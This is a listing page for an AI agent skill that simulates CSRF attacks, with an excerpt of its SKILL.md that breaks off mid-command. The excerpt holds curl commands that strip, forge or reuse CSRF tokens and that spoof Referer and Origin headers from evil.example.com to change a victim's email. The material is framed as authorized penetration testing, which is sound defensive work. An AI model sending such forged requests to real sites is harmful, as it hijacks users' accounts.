performing-csrf-attack-simulation
Teaches your AI agent to test code and catch bugs before users do and protect apps against attacks.
What it does
This tool helps test if a website is secure against a specific type of attack called CSRF. It simulates how an attacker could trick a logged-in user into performing unwanted actions without their knowledge.
When to use it
- ✓When testing the security of a website you have permission to assess.
- ✓When you want to check if CSRF attack protections are working.
- ✓When testing important features like password changes or money transfers.
Example of what to ask your AI
“Simulate a CSRF attack to try and change a logged-in user's email address.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool identifies actions that change information on the website and tries to execute them in a disguised way, as if the user themselves were doing it. It checks if the website requires extra confirmations to prevent this.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-csrf-attack-simulationOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-csrf-attack-simulation/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Performing CSRF Attack Simulation
When to Use
- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
- When testing the effectiveness of anti-CSRF token implementations
- For validating SameSite cookie attribute enforcement across different browsers
- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
- During security audits of custom authentication and session management mechanisms
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With CSRF PoC generator functionality
- Web server: Local HTTP server for hosting CSRF PoC pages (Python
http.server) - Two browsers: One authenticated as victim, one as attacker
- Target application: Authenticated session with valid test credentials
- HTML/JavaScript knowledge: For crafting custom CSRF payloads
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify State-Changing Requests
Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.
# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)
# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation
Step 2: Analyze Anti-CSRF Token Implementation
Test the strength and enforcement of any CSRF protections present.
# Check if CSRF token is present
curl -s -b "session=abc123" \
"https://target.example.com/account/settings" | \
grep -i "csrf\|token\|_token"
# Test 1: Remove the CSRF token entirely
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 2: Send empty CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=previously_captured_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
-b "session=user_a_session" \
-d "email=test@evil.com&csrf_token=user_b_csrf_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
Step 3: Check SameSite Cookie and Header Protections
Verify browser-level and header-based CSRF defenses.
# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None
# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)
# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: " \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with evil Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: https://evil.example.com/attack" \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with spoofed Origin
curl -s -X POST \
…
FAQ
What is a CSRF attack?
CSRF (Cross-Site Request Forgery) is an attack that tricks a logged-in user's browser into sending a malicious request to a website without the user realizing it.
Do I need permission to use this tool?
Yes, you can only use this tool on systems for which you have explicit, written authorization to perform security testing.
What tools are needed?
You will need tools like Burp Suite Professional and a local server to run the tests.
Details
Original description by the author
Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.
Popularity
- GitHub stars
- 35k
- Ranking position
- #6050
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
More skills from this repository
abusing-dpapi-for-credential-access
Gives your AI agent ready-made instructions for a specific task, so it does it better and faster.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Teaches your AI agent to write clear, well-structured text.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Helps your agent prepare an environment for CMMC Level 2 compliance. It implements security requirements and manages necessary documentation.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Helps your agent create exact copies of hard drives. This is useful for ensuring no information is lost or altered during investigations.
mukul975/Anthropic-Cybersecurity-Skills
Similar skills
django-security
Helps your agent implement security practices in Django applications. It focuses on authentication, authorization, and prevention against common attacks, ensuring more secure code.
affaan-m/ECC
laravel-security
Helps your agent secure Laravel applications against threats. Implements security practices for authentication, authorization, and common attack prevention.
affaan-m/ECC
module-regression
Helps your agent manage changes in large projects. Ensures code changes in one part don't break other parts.
affaan-m/ECC